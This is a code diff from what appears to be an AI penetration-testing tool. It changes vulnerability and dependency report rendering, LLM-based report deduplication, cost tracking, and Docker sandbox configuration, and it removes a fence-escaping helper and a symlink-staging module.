text.append("\n")
text.append(assumptions)
return text
def _get_markdown_report(self) -> str:
@@ -540,27 +476,14 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
lines.append(f"**Agent:** {vuln['agent_name']}")
if vuln.get("target"):
lines.append(f"**Target:** {vuln['target']}")
dep_meta = vuln.get("dependency_metadata") or {}
if dep_meta.get("package_name"):
lines.append(f"**Package:** {dep_meta['package_name']}")
if dep_meta.get("package_ecosystem"):
lines.append(f"**Ecosystem:** {dep_meta['package_ecosystem']}")
if dep_meta.get("installed_version"):
lines.append(f"**Installed Version:** {dep_meta['installed_version']}")
if dep_meta.get("fixed_version"):
lines.append(f"**Fixed Version:** {dep_meta['fixed_version']}")
if vuln.get("endpoint"):
lines.append(f"**Endpoint:** {vuln['endpoint']}")
if vuln.get("method"):
lines.append(f"**Method:** {vuln['method']}")
if vuln.get("cve"):
lines.append(f"**CVE:** {vuln['cve']}")
if vuln.get("cwe"):
lines.append(f"**CWE:** {vuln['cwe']}")
if vuln.get("cvss") is not None:
lines.append(f"**CVSS:** {vuln['cvss']}")
if vuln.get("fix_effort"):
lines.append(f"**Fix Effort:** {str(vuln['fix_effort']).title()}")
cvss_breakdown = vuln.get("cvss_breakdown", {})
if cvss_breakdown:
@@ -591,9 +514,6 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
if vuln.get("technical_analysis"):
lines.extend(["", "## Technical Analysis", "", vuln["technical_analysis"]])
if vuln.get("evidence"):
lines.extend(["", "## Evidence", "", vuln["evidence"]])
if vuln.get("poc_description") or vuln.get("poc_script_code"):
lines.extend(["", "## Proof of Concept", ""])
if vuln.get("poc_description"):
@@ -632,9 +552,6 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
if vuln.get("remediation_steps"):
lines.extend(["", "## Remediation", "", vuln["remediation_steps"]])
if vuln.get("assumptions"):
lines.extend(["", "## Assumptions", "", vuln["assumptions"]])
lines.append("")
return "\n".join(lines)
@@ -1384,7 +1301,7 @@ class StrixTUIApp(App): # type: ignore[misc]
def _start_dot_animation(self) -> None:
if self._dot_animation_timer is None:
self._dot_animation_timer = self.set_interval(0.06, self._animate_dots)
self._dot_animation_timer = self.set_interval(0.25, self._animate_dots)
def _stop_dot_animation(self) -> None:
if self._dot_animation_timer is not None:
@@ -256,176 +256,3 @@ class CreateVulnerabilityReportRenderer(BaseToolRenderer):
css_classes = cls.get_css_classes("completed")
return Static(padded, classes=css_classes)
@register_tool_renderer
class CreateDependencyReportRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "create_dependency_report"
css_classes: ClassVar[list[str]] = ["tool-call", "reporting-tool"]
SEVERITY_COLORS: ClassVar[dict[str, str]] = {
"critical": "#dc2626",
"high": "#ea580c",
"medium": "#d97706",
"low": "#65a30d",
"info": "#0284c7",
}
@classmethod
def _get_cvss_color(cls, cvss_score: float) -> str:
if cvss_score >= 9.0:
return "#dc2626"
if cvss_score >= 7.0:
return "#ea580c"
if cvss_score >= 4.0:
return "#d97706"
if cvss_score >= 0.1:
return "#65a30d"
return "#6b7280"
@classmethod
def _render_unsuccessful(cls, args: dict[str, Any], result: dict[str, Any]) -> Static:
text = Text()
text.append("📦 ")
text.append("Dependency (SCA) Report", style="bold #ea580c")
title = args.get("title", "")
if title:
text.append("\n\n")
text.append("Title: ", style=FIELD_STYLE)
text.append(title)
warning = result.get("warning")
if result.get("success") is False:
errors = result.get("errors")
detail = (
"; ".join(errors) if isinstance(errors, list) and errors else result.get("error")
)
label, style = "✗ Not created: ", "bold #dc2626"
fallback = "Report was not created."
else:
detail = warning
label, style = "⚠ Not persisted: ", "bold #d97706"
fallback = "Report could not be persisted."
text.append("\n\n")
text.append(label, style=style)
text.append(str(detail or fallback))
padded = Text()
padded.append("\n\n")
padded.append_text(text)
padded.append("\n\n")
return Static(padded, classes=cls.get_css_classes("failed"))
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915
args = tool_data.get("args", {})
result = tool_data.get("result", {})
if isinstance(result, dict) and (result.get("success") is False or result.get("warning")):
return cls._render_unsuccessful(args, result)
title = args.get("title", "")
description = args.get("description", "")
impact = args.get("impact", "")
target = args.get("target", "")
technical_analysis = args.get("technical_analysis", "")
remediation_steps = args.get("remediation_steps", "")
assumptions = args.get("assumptions", "")
package_name = args.get("package_name", "")
package_ecosystem = args.get("package_ecosystem", "")
installed_version = args.get("installed_version", "")
fixed_version = args.get("fixed_version", "")
cve = args.get("cve", "")
cwe = args.get("cwe", "")
advisory_cvss = args.get("advisory_cvss")
fix_effort = args.get("fix_effort", "")
severity = ""
if isinstance(result, dict):
severity = result.get("severity", "")
text = Text()
text.append("📦 ")
text.append("Dependency (SCA) Report", style="bold #ea580c")
if title:
text.append("\n\n")
text.append("Title: ", style=FIELD_STYLE)
text.append(title)
if severity:
text.append("\n\n")
text.append("Severity: ", style=FIELD_STYLE)
severity_color = cls.SEVERITY_COLORS.get(severity.lower(), "#6b7280")
text.append(severity.upper(), style=f"bold {severity_color}")
if advisory_cvss is not None:
text.append("\n\n")
text.append("Advisory CVSS: ", style=FIELD_STYLE)
try:
score = float(advisory_cvss)
text.append(str(score), style=f"bold {cls._get_cvss_color(score)}")
except (TypeError, ValueError):
text.append(str(advisory_cvss), style=DIM_STYLE)
if cve:
text.append("\n\n")
text.append("CVE: ", style=FIELD_STYLE)
text.append(cve)
if cwe:
text.append("\n\n")
text.append("CWE: ", style=FIELD_STYLE)
text.append(cwe)
if package_name:
text.append("\n\n")
text.append("Package: ", style=FIELD_STYLE)
text.append(package_name, style=FILE_STYLE)
if package_ecosystem:
text.append(f" ({package_ecosystem})", style=DIM_STYLE)
if installed_version:
text.append("\n\n")
text.append("Installed: ", style=FIELD_STYLE)
text.append(installed_version, style=BEFORE_STYLE)
if fixed_version:
text.append("", style=DIM_STYLE)
text.append("Fixed: ", style=FIELD_STYLE)
text.append(fixed_version, style=AFTER_STYLE)
if fix_effort:
text.append("\n\n")
text.append("Fix Effort: ", style=FIELD_STYLE)
text.append(fix_effort)
if target:
text.append("\n\n")
text.append("Target: ", style=FIELD_STYLE)
text.append(target)
for label, value in [
("Description", description),
("Impact", impact),
("Technical Analysis", technical_analysis),
("Assumptions", assumptions),
("Remediation", remediation_steps),
]:
if value:
text.append("\n\n")
text.append(label, style=FIELD_STYLE)
text.append("\n")
text.append(value)
if not title:
text.append("\n ")
text.append("Creating dependency report...", style="dim")
padded = Text()
padded.append("\n\n")
padded.append_text(text)
padded.append("\n\n")
css_classes = cls.get_css_classes("completed")
return Static(padded, classes=css_classes)
+1 -124
View File
@@ -4,7 +4,6 @@ from __future__ import annotations
import json
import logging
import re
from typing import TYPE_CHECKING, Any
from agents.model_settings import ModelSettings
@@ -16,7 +15,6 @@ from strix.config.models import (
DEFAULT_MODEL_RETRY,
StrixProvider,
configure_sdk_model_defaults,
request_timeout_extra_args,
)
from strix.report.state import get_global_report_state
@@ -53,11 +51,6 @@ CRITICAL DEDUPLICATION RULES:
- One report is more thorough than another
- Minor variations in technical analysis
4. DEPENDENCY-CVE reports use package identity:
- Same CVE and same package/ecosystem is a duplicate
- Same CVE but different package/ecosystem is NOT a duplicate
- Same package/ecosystem but different CVE is NOT a duplicate
COMPARISON GUIDELINES:
- Focus on the technical root cause, not surface-level similarities
- Same vulnerability type (SQLi, XSS) doesn't mean duplicate - location matters
@@ -108,8 +101,6 @@ def _prepare_report_for_comparison(report: dict[str, Any]) -> dict[str, Any]:
"poc_description",
"endpoint",
"method",
"cve",
"dependency_metadata",
]
cleaned = {}
@@ -123,112 +114,6 @@ def _prepare_report_for_comparison(report: dict[str, Any]) -> dict[str, Any]:
return cleaned
def _dependency_identity(report: dict[str, Any]) -> tuple[str, str, str] | None:
metadata = report.get("dependency_metadata")
if not isinstance(metadata, dict):
return None
raw_cve = report.get("cve")
raw_package = metadata.get("package_name")
if not raw_cve or not raw_package:
return None
cve = str(raw_cve).strip().upper()
ecosystem = str(metadata.get("package_ecosystem") or "").strip().lower()
package_name = str(raw_package).strip().lower()
if not cve or not package_name:
return None
return cve, ecosystem, package_name
def _report_cve(report: dict[str, Any]) -> str:
return str(report.get("cve") or "").strip().upper()
def _legacy_report_mentions_package(
report: dict[str, Any],
*,
ecosystem: str,
package_name: str,
) -> bool:
fields = [
"title",
"description",
"impact",
"target",
"technical_analysis",
"poc_description",
"evidence",
]
haystack = " ".join(str(report.get(field) or "") for field in fields).lower()
package_pattern = rf"(?<![\w@./-]){re.escape(package_name)}(?![\w@./-])"
if re.search(package_pattern, haystack) is None:
return False
if not ecosystem:
return True
ecosystem_pattern = rf"(?<![\w@./-]){re.escape(ecosystem)}(?![\w@./-])"
return re.search(ecosystem_pattern, haystack) is not None
def _check_dependency_duplicate(
candidate: dict[str, Any],
existing_reports: list[dict[str, Any]],
) -> dict[str, Any] | None:
candidate_identity = _dependency_identity(candidate)
if candidate_identity is None:
return None
cve, ecosystem, package_name = candidate_identity
found_legacy_same_cve = False
for report in existing_reports:
report_identity = _dependency_identity(report)
if report_identity is not None:
report_cve, report_ecosystem, report_package_name = report_identity
if (report_cve, report_package_name) != (cve, package_name):
continue
if report_ecosystem == ecosystem:
return {
"is_duplicate": True,
"duplicate_id": str(report.get("id") or "")[:64],
"confidence": 1.0,
"reason": "Same dependency CVE/package identity",
}
if not report_ecosystem or not ecosystem:
return {
"is_duplicate": True,
"duplicate_id": str(report.get("id") or "")[:64],
"confidence": 1.0,
"reason": "Same dependency CVE/package identity with missing ecosystem",
}
continue
if _report_cve(report) != cve:
continue
found_legacy_same_cve = True
if _legacy_report_mentions_package(
report,
ecosystem=ecosystem,
package_name=package_name,
):
return {
"is_duplicate": True,
"duplicate_id": str(report.get("id") or "")[:64],
"confidence": 1.0,
"reason": "Same dependency CVE/package identity in legacy report",
}
if found_legacy_same_cve:
return None
package_label = f"{ecosystem}/{package_name}" if ecosystem else package_name
return {
"is_duplicate": False,
"duplicate_id": "",
"confidence": 1.0,
"reason": f"No existing dependency report for {cve} in {package_label}",
}
def _parse_dedupe_response(content: str) -> dict[str, Any]:
text = content.strip()
if text.startswith("```"):
@@ -280,10 +165,6 @@ async def check_duplicate(
"reason": "No existing reports to compare against",
}
dependency_duplicate = _check_dependency_duplicate(candidate, existing_reports)
if dependency_duplicate is not None:
return dependency_duplicate
try:
settings = load_settings()
model_name = settings.llm.model
@@ -311,11 +192,7 @@ async def check_duplicate(
response = await model.get_response(
system_instructions=DEDUPE_SYSTEM_PROMPT,
input=user_msg,
model_settings=ModelSettings(
retry=DEFAULT_MODEL_RETRY,
include_usage=True,
extra_args=request_timeout_extra_args(settings.llm.timeout),
),
model_settings=ModelSettings(retry=DEFAULT_MODEL_RETRY, include_usage=True),
tools=[],
output_schema=None,
handoffs=[],
+12 -125
View File
@@ -135,10 +135,6 @@ class ReportState:
self._sarif_repo_ctx: dict[str, Any] | None = None
self._sarif_repo_ctx_ready: bool = False
self.posthog_scan_ended_sent: bool = False
self.scarf_scan_ended_sent: bool = False
self.scan_ended_exit_reason: str | None = None
def get_run_dir(self) -> Path:
if self._run_dir is None:
run_dir_name = self.run_name if self.run_name else self.run_id
@@ -216,9 +212,6 @@ class ReportState:
poc_description: str | None = None,
poc_script_code: str | None = None,
remediation_steps: str | None = None,
evidence: str | None = None,
assumptions: str | None = None,
fix_effort: str | None = None,
cvss: float | None = None,
cvss_breakdown: dict[str, str] | None = None,
endpoint: str | None = None,
@@ -226,9 +219,6 @@ class ReportState:
cve: str | None = None,
cwe: str | None = None,
code_locations: list[dict[str, Any]] | None = None,
fix_pr_body: str | None = None,
finding_class: str | None = None,
dependency_metadata: dict[str, str] | None = None,
agent_id: str | None = None,
agent_name: str | None = None,
) -> str:
@@ -255,12 +245,6 @@ class ReportState:
report["poc_script_code"] = poc_script_code.strip()
if remediation_steps:
report["remediation_steps"] = remediation_steps.strip()
if evidence:
report["evidence"] = evidence.strip()
if assumptions:
report["assumptions"] = assumptions.strip()
if fix_effort:
report["fix_effort"] = fix_effort.strip().lower()
if cvss is not None:
report["cvss"] = cvss
if cvss_breakdown:
@@ -275,11 +259,6 @@ class ReportState:
report["cwe"] = cwe.strip()
if code_locations:
report["code_locations"] = code_locations
if fix_pr_body:
report["fix_pr_body"] = fix_pr_body.strip()
report["finding_class"] = (finding_class or "dynamic").strip().lower()
if dependency_metadata:
report["dependency_metadata"] = dependency_metadata
if agent_id:
report["agent_id"] = agent_id
if agent_name:
@@ -287,8 +266,8 @@ class ReportState:
self.vulnerability_reports.append(report)
logger.info(f"Added vulnerability report: {report_id} - {title}")
posthog.finding(severity, cwe=cwe, is_cve=bool(cve))
scarf.finding(severity, cwe=cwe, is_cve=bool(cve))
posthog.finding(severity)
scarf.finding(severity)
if self.vulnerability_found_callback:
self.vulnerability_found_callback(report)
@@ -534,10 +513,16 @@ def litellm_cost_callback(
cost = value
if cost is None:
cost = _usage_reported_cost(completion_response)
if cost is None:
cost = _estimate_response_cost(kwargs, completion_response)
usage: Any = getattr(completion_response, "usage", None)
if usage is None and isinstance(completion_response, dict):
usage = cast("dict[str, Any]", completion_response).get("usage")
usage_cost: Any
if isinstance(usage, dict):
usage_cost = cast("dict[str, Any]", usage).get("cost")
else:
usage_cost = getattr(usage, "cost", None)
if isinstance(usage_cost, int | float) and usage_cost > 0:
cost = float(usage_cost)
if cost is None or cost <= 0:
return
@@ -548,101 +533,3 @@ def litellm_cost_callback(
report_state.record_observed_llm_cost(cost)
except Exception:
logger.exception("Failed to record observed LiteLLM cost")
def _usage_reported_cost(completion_response: Any) -> float | None:
"""Provider-reported cost from the ``usage`` block (e.g. OpenRouter).
Non-BYOK responses charge everything to ``usage.cost``. BYOK responses
charge only the OpenRouter fee to ``usage.cost`` (often 0) and report the
provider charge in ``usage.cost_details.upstream_inference_cost``, so the
true BYOK total is the sum of the two.
"""
usage: Any = getattr(completion_response, "usage", None)
if usage is None and isinstance(completion_response, dict):
usage = cast("dict[str, Any]", completion_response).get("usage")
if usage is None:
return None
def _field(container: Any, name: str) -> Any:
if isinstance(container, dict):
return cast("dict[str, Any]", container).get(name)
return getattr(container, name, None)
total = 0.0
usage_cost = _field(usage, "cost")
if isinstance(usage_cost, int | float) and usage_cost > 0:
total += float(usage_cost)
if bool(_field(usage, "is_byok")):
upstream = _field(_field(usage, "cost_details"), "upstream_inference_cost")
if isinstance(upstream, int | float) and upstream > 0:
total += float(upstream)
return total if total > 0 else None
def _estimate_response_cost(kwargs: Any, completion_response: Any) -> float | None:
"""Best-effort LiteLLM cost-map estimate when no provider-reported cost exists.
LiteLLM strips provider cost fields when rebuilding streamed responses and
returns no ``response_cost`` for models missing from its cost map, so try
the provider-prefixed name, the raw name, and the bare model name.
"""
from litellm import completion_cost
model = kwargs.get("model") if isinstance(kwargs, dict) else None
if not isinstance(model, str) or not model:
if isinstance(completion_response, dict):
model = cast("dict[str, Any]", completion_response).get("model")
else:
model = getattr(completion_response, "model", None)
if not isinstance(model, str) or not model:
return None
provider = None
litellm_params = kwargs.get("litellm_params") if isinstance(kwargs, dict) else None
if isinstance(litellm_params, dict):
provider = litellm_params.get("custom_llm_provider")
usage_payload = _usage_payload(completion_response)
if usage_payload is None:
return None
candidates: list[str] = []
if isinstance(provider, str) and provider and not model.startswith(f"{provider}/"):
candidates.append(f"{provider}/{model}")
candidates.append(model)
if "/" in model:
candidates.append(model.rsplit("/", 1)[-1])
for candidate in candidates:
try:
value = completion_cost(
completion_response={"model": candidate, "usage": usage_payload},
model=candidate,
)
except Exception: # nosec B112 # noqa: BLE001, S112
continue
if isinstance(value, int | float) and value > 0:
return float(value)
return None
def _usage_payload(completion_response: Any) -> dict[str, Any] | None:
"""Token counts as a plain dict, detached from the response's provider metadata."""
usage: Any = getattr(completion_response, "usage", None)
if usage is None and isinstance(completion_response, dict):
usage = cast("dict[str, Any]", completion_response).get("usage")
if usage is None:
return None
if hasattr(usage, "model_dump"):
usage = usage.model_dump()
if not isinstance(usage, dict):
return None
payload = cast("dict[str, Any]", usage)
if not payload.get("total_tokens") and not (
payload.get("prompt_tokens") or payload.get("completion_tokens")
):
return None
return payload
+4 -43
View File
@@ -6,7 +6,6 @@ import csv
import io
import json
import logging
import re
import tempfile
from datetime import UTC, datetime
from pathlib import Path
@@ -19,21 +18,6 @@ logger = logging.getLogger(__name__)
_SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
_BACKTICK_RUN = re.compile(r"`+")
def _safe_fence(content: str) -> str:
"""Return a backtick fence that ``content`` cannot break out of.
Per CommonMark a fenced code block is closed only by a run of backticks at
least as long as the opening fence. LLM-authored, attacker-influenced values
(PoC scripts, code snippets) may contain their own ``` runs, so we open with
a fence one backtick longer than the longest run inside ``content`` (never
fewer than three). Everything in ``content`` then renders verbatim.
"""
longest = max((len(m.group()) for m in _BACKTICK_RUN.finditer(content)), default=0)
return "`" * max(3, longest + 1)
def read_run_record(run_dir: Path) -> dict[str, Any]:
path = run_record_path(run_dir)
@@ -140,13 +124,8 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
f"**Found:** {report.get('timestamp', 'unknown')}",
]
dep_meta = report.get("dependency_metadata") or {}
metadata: list[tuple[str, Any]] = [
("Target", report.get("target")),
("Package", dep_meta.get("package_name")),
("Ecosystem", dep_meta.get("package_ecosystem")),
("Installed Version", dep_meta.get("installed_version")),
("Fixed Version", dep_meta.get("fixed_version")),
("Endpoint", report.get("endpoint")),
("Method", report.get("method")),
("CVE", report.get("cve")),
@@ -155,8 +134,6 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
cvss = report.get("cvss")
if cvss is not None:
metadata.append(("CVSS", cvss))
if report.get("fix_effort"):
metadata.append(("Fix Effort", str(report["fix_effort"]).title()))
for label, value in metadata:
if value:
lines.append(f"**{label}:** {value}")
@@ -166,11 +143,6 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
lines.append(report.get("description") or "No description provided.")
lines.append("")
if report.get("evidence"):
lines.append("## Evidence\n")
lines.append(str(report["evidence"]))
lines.append("")
if report.get("impact"):
lines.append("## Impact\n")
lines.append(str(report["impact"]))
@@ -187,11 +159,9 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
lines.append(str(report["poc_description"]))
lines.append("")
if report.get("poc_script_code"):
code = str(report["poc_script_code"])
fence = _safe_fence(code)
lines.append(fence)
lines.append(code)
lines.append(fence)
lines.append("```")
lines.append(str(report["poc_script_code"]))
lines.append("```")
lines.append("")
if report.get("code_locations"):
@@ -208,11 +178,7 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
if loc.get("label"):
lines.append(f" {loc['label']}")
if loc.get("snippet"):
snippet = str(loc["snippet"])
fence = _safe_fence(snippet)
lines.append(f" {fence}")
lines.extend(f" {ln}" for ln in snippet.splitlines())
lines.append(f" {fence}")
lines.append(f" ```\n {loc['snippet']}\n ```")
if loc.get("fix_before") or loc.get("fix_after"):
lines.append("\n **Suggested Fix:**")
lines.append("```diff")
@@ -228,9 +194,4 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
lines.append(str(report["remediation_steps"]))
lines.append("")
if report.get("assumptions"):
lines.append("## Assumptions\n")
lines.append(str(report["assumptions"]))
lines.append("")
return "\n".join(lines)
+4 -12
View File
@@ -10,7 +10,6 @@ exposed-port URL for all subsequent SDK calls.
from __future__ import annotations
import asyncio
import contextlib
import json
import logging
from typing import TYPE_CHECKING
@@ -94,16 +93,9 @@ async def bootstrap_caido(
client = Client(host_url, auth=TokenAuthOptions(token=access_token))
await client.connect()
try:
project = await client.project.create(
CreateProjectOptions(name="sandbox", temporary=True),
)
await client.project.select(project.id)
except BaseException:
# The connected client never reaches the session bundle if project
# setup fails, so close it here to avoid leaking the transport.
with contextlib.suppress(Exception):
await client.aclose()
raise
project = await client.project.create(
CreateProjectOptions(name="sandbox", temporary=True),
)
await client.project.select(project.id)
logger.info("Caido project selected: %s", project.id)
return client
+2 -117
View File
@@ -24,25 +24,20 @@ from __future__ import annotations
import contextlib
import logging
import os
import uuid
from typing import Any, cast
from typing import Any
from agents.sandbox.errors import ExposedPortUnavailableError
from agents.sandbox.manifest import Manifest
from agents.sandbox.sandboxes.docker import (
DockerSandboxClient,
DockerSandboxSession,
_build_docker_volume_mounts,
_docker_port_key,
_manifest_requires_fuse,
_manifest_requires_sys_admin,
)
from agents.sandbox.session.sandbox_session import SandboxSession
from agents.sandbox.types import ExposedPortEndpoint
from docker import errors as docker_errors # type: ignore[import-untyped, unused-ignore]
from docker.models.containers import Container # type: ignore[import-untyped, unused-ignore]
from docker.types import LogConfig # type: ignore[import-untyped, unused-ignore]
from docker.types import Mount as DockerSDKMount # type: ignore[import-untyped, unused-ignore]
from docker.utils import parse_repository_tag # type: ignore[import-untyped, unused-ignore]
from requests.exceptions import RequestException
@@ -51,107 +46,10 @@ from requests.exceptions import RequestException
logger = logging.getLogger(__name__)
_SANDBOX_NETWORK_ENV = "STRIX_DOCKER_SANDBOX_NETWORK"
def _sandbox_network() -> str | None:
value = os.environ.get(_SANDBOX_NETWORK_ENV, "").strip()
return value or None
def _apply_sandbox_network(create_kwargs: dict[str, Any]) -> None:
network = _sandbox_network()
if network:
create_kwargs["network"] = network
create_kwargs.pop("ports", None)
def _apply_resource_limits(create_kwargs: dict[str, Any]) -> None:
"""Apply optional cgroup resource caps from the environment. Unset/blank
values leave docker's default (unbounded), so this is opt-in per host."""
mem_limit = os.environ.get("STRIX_SANDBOX_MEM_LIMIT", "").strip()
if mem_limit:
create_kwargs["mem_limit"] = mem_limit
shm_size = os.environ.get("STRIX_SANDBOX_SHM_SIZE", "").strip()
if shm_size:
create_kwargs["shm_size"] = shm_size
cpus = os.environ.get("STRIX_SANDBOX_CPUS", "").strip()
if cpus:
with contextlib.suppress(ValueError, OverflowError):
nano_cpus = int(float(cpus) * 1_000_000_000)
if 0 < nano_cpus <= 2**63 - 1:
create_kwargs["nano_cpus"] = nano_cpus
pids_limit = os.environ.get("STRIX_SANDBOX_PIDS_LIMIT", "").strip()
if pids_limit:
with contextlib.suppress(ValueError):
create_kwargs["pids_limit"] = int(pids_limit)
def _apply_log_limits(create_kwargs: dict[str, Any]) -> None:
"""Bound the container's json-file log so a runaway process in the sandbox
(e.g. a tool that busy-loops writing to stdout) cannot fill the host disk
and take the Docker daemon down with it.
Unlike the cgroup caps above, this defaults **on** — docker's own default
is an unbounded json-file, which is unsafe for an autonomous agent that
executes arbitrary commands. ``max-file`` rotation means the on-disk cap is
``max-size * max-file``. Set ``STRIX_SANDBOX_LOG_MAX_SIZE`` to ``0``/``off``
to opt back out to docker's default."""
max_size = os.environ.get("STRIX_SANDBOX_LOG_MAX_SIZE", "50m").strip()
if max_size.lower() in ("0", "off", "none", "unlimited"):
return
max_file = os.environ.get("STRIX_SANDBOX_LOG_MAX_FILE", "3").strip() or "3"
create_kwargs["log_config"] = LogConfig(
type=LogConfig.types.JSON,
config={"max-size": max_size, "max-file": max_file},
)
class StrixDockerSandboxSession(DockerSandboxSession):
sandbox_network: str = ""
async def _resolve_exposed_port(self, port: int) -> ExposedPortEndpoint:
try:
self._container.reload()
except docker_errors.APIError as e:
raise ExposedPortUnavailableError(
port=port,
exposed_ports=self.state.exposed_ports,
reason="backend_unavailable",
context={
"backend": "docker",
"detail": "container_reload_failed",
"network": self.sandbox_network,
},
cause=e,
) from e
attrs = getattr(self._container, "attrs", {}) or {}
networks = attrs.get("NetworkSettings", {}).get("Networks", {})
endpoint = networks.get(self.sandbox_network) or {}
ip = endpoint.get("IPAddress") or endpoint.get("GlobalIPv6Address")
if not isinstance(ip, str) or not ip:
raise ExposedPortUnavailableError(
port=port,
exposed_ports=self.state.exposed_ports,
reason="backend_unavailable",
context={
"backend": "docker",
"detail": "container_not_on_network",
"network": self.sandbox_network,
},
)
host = f"[{ip}]" if ":" in ip else ip
return ExposedPortEndpoint(host=host, port=port, tls=False)
class StrixDockerSandboxClient(DockerSandboxClient):
# Host directories to bind-mount into the container, set by the docker
# backend before ``create()``. Each item is ``{source, target, read_only}``.
strix_bind_mounts: list[dict[str, Any]] | None = None
strix_bind_mounts: list[dict[str, Any]] = [] # overridden per-instance in backends.py
async def _create_container(
self,
@@ -219,10 +117,6 @@ class StrixDockerSandboxClient(DockerSandboxClient):
extra_hosts = create_kwargs.setdefault("extra_hosts", {})
extra_hosts["host.docker.internal"] = "host-gateway"
_apply_sandbox_network(create_kwargs)
_apply_resource_limits(create_kwargs)
_apply_log_limits(create_kwargs)
# Strix injection: host bind mounts (e.g. large repos passed via --mount)
# that bypass the SDK's file-by-file LocalDir copy.
bind_mounts = getattr(self, "strix_bind_mounts", ())
@@ -252,15 +146,6 @@ class StrixDockerSandboxClient(DockerSandboxClient):
)
return container
async def create(self, **kwargs: Any) -> SandboxSession:
session = await super().create(**kwargs)
network = _sandbox_network()
inner = session._inner
if network and isinstance(inner, DockerSandboxSession):
inner.__class__ = StrixDockerSandboxSession
cast("StrixDockerSandboxSession", inner).sandbox_network = network
return session
async def delete(self, session: SandboxSession) -> SandboxSession:
container_id = getattr(getattr(session._inner, "state", None), "container_id", None)
if container_id:
-120
View File
@@ -1,120 +0,0 @@
"""Symlink-safe staging for ``LocalDir`` manifest uploads.
The sandbox SDK's ``LocalDir`` walker refuses to copy symlinks at all — it
raises ``LocalDirReadError(reason="symlink_not_supported")`` on the first one
as a path-escape / TOCTOU safeguard. Real source trees (especially JS/TS
monorepos with workspace or shared-config links) routinely commit symlinks, so
handing such a tree straight to ``LocalDir`` aborts the upload before the agent
even starts.
:func:`stage_symlink_safe_dir` returns a path that is always safe to hand to
``LocalDir``:
* a tree with no symlinks is used as-is (no copy);
* otherwise the tree is copied into a temp directory with symlinks resolved:
- a link whose target stays inside the tree is *dereferenced* (its target
content is materialized in place), so the agent still sees the file;
- a link that escapes the tree, dangles, or forms a cycle is *dropped* and
never followed. Refusing to follow out-of-tree links preserves the walker's
path-escape safety and keeps host/out-of-tree content from leaking into the
(hostile) sandbox.
Regular files are hard-linked when possible (falling back to a copy across
devices), so the staged tree adds negligible disk for the non-symlink bulk.
"""
from __future__ import annotations
import logging
import os
import shutil
import tempfile
from pathlib import Path
logger = logging.getLogger(__name__)
_STAGING_PREFIX = "strix-localdir-"
def _is_within(target: Path, root: Path) -> bool:
"""Return whether ``target`` is ``root`` itself or nested under it."""
if target == root:
return True
try:
target.relative_to(root)
except ValueError:
return False
return True
def tree_has_symlink(root: Path) -> bool:
"""Return whether ``root`` contains any symlink (file or directory)."""
for dirpath, dirnames, filenames in os.walk(root, followlinks=False):
base = Path(dirpath)
for name in (*dirnames, *filenames):
if (base / name).is_symlink():
return True
return False
def _link_or_copy(src: Path, dst: Path) -> None:
"""Hard-link ``src`` to ``dst``, falling back to a content copy."""
try:
os.link(src, dst)
except OSError:
shutil.copy2(src, dst, follow_symlinks=True)
def _stage_dir(src: Path, dst: Path, root: Path, seen: frozenset[Path]) -> None:
dst.mkdir(parents=True, exist_ok=True)
for entry in os.scandir(src):
entry_path = Path(entry.path)
dest_path = dst / entry.name
if entry.is_symlink():
target = Path(os.path.realpath(entry_path))
if not _is_within(target, root):
logger.warning("staging: dropping out-of-tree symlink %s -> %s", entry_path, target)
continue
if not target.exists():
logger.warning("staging: dropping dangling symlink %s", entry_path)
continue
if target in seen:
logger.warning("staging: dropping cyclic symlink %s -> %s", entry_path, target)
continue
if target.is_dir():
_stage_dir(target, dest_path, root, seen | {target})
else:
_link_or_copy(target, dest_path)
elif entry.is_dir(follow_symlinks=False):
_stage_dir(entry_path, dest_path, root, seen)
elif entry.is_file(follow_symlinks=False):
_link_or_copy(entry_path, dest_path)
else:
# Sockets, FIFOs, devices — not part of a source tree; skip.
logger.debug("staging: skipping non-regular entry %s", entry_path)
def stage_symlink_safe_dir(src_root: Path) -> tuple[Path, Path | None]:
"""Return ``(upload_path, staged_temp)`` for uploading ``src_root``.
``upload_path`` is safe to hand to ``LocalDir``. When the tree contains no
symlinks it is ``src_root`` itself and ``staged_temp`` is ``None``.
Otherwise a symlink-safe copy is materialized in a temp directory and both
returned values point at it; the caller owns removing ``staged_temp`` once
the upload completes.
"""
root = src_root.resolve()
if not tree_has_symlink(root):
return root, None
staged = Path(tempfile.mkdtemp(prefix=_STAGING_PREFIX))
try:
_stage_dir(root, staged, root, frozenset({root}))
except OSError:
shutil.rmtree(staged, ignore_errors=True)
raise
logger.info("staging: materialized symlink-safe copy of %s at %s", root, staged)
return staged, staged
+12 -33
View File
@@ -3,7 +3,6 @@
from __future__ import annotations
import logging
import shutil
from pathlib import Path
from typing import Any
@@ -13,7 +12,6 @@ from agents.sandbox.manifest import Environment, Manifest
from strix.config import load_settings
from strix.runtime.backends import get_backend
from strix.runtime.caido_bootstrap import bootstrap_caido
from strix.runtime.local_dir_staging import stage_symlink_safe_dir
logger = logging.getLogger(__name__)
@@ -31,20 +29,16 @@ _WORKSPACE_ROOT = "/workspace"
def build_session_entries(
local_sources: list[dict[str, Any]],
) -> tuple[dict[str | Path, BaseEntry], list[dict[str, Any]], list[Path]]:
) -> tuple[dict[str | Path, BaseEntry], list[dict[str, Any]]]:
"""Split local sources into copied manifest entries and host bind mounts.
Sources flagged ``mount`` are bind-mounted read-only at
``/workspace/<workspace_subdir>`` (not added to the manifest, so the SDK
does not stream them in file-by-file). Every other source becomes a
``LocalDir`` entry copied into the container as before. Trees containing
symlinks (which the SDK's ``LocalDir`` walker refuses outright) are first
staged into a symlink-safe temp copy; those temp dirs are returned so the
caller can remove them once the upload completes.
